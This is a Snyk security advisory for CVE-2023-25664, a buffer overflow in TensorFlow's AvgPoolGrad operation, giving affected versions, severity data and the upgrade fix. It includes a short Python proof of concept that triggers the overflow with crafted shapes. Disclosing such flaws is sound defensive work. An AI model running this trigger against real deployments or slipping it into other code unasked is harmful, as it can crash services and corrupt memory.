Buffer Overflow Affecting tensorflow package, versions [,2.11.1)[2.12.0rc0,2.12.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TENSORFLOW-3373023
  • published26 Mar 2023
  • disclosed26 Mar 2023
  • creditevn@google.com

Introduced: 26 Mar 2023

CVE-2023-25664  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Buffer Overflow in TAvgPoolGrad.

PoC

import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )

References

CVSS Scores

version 3.1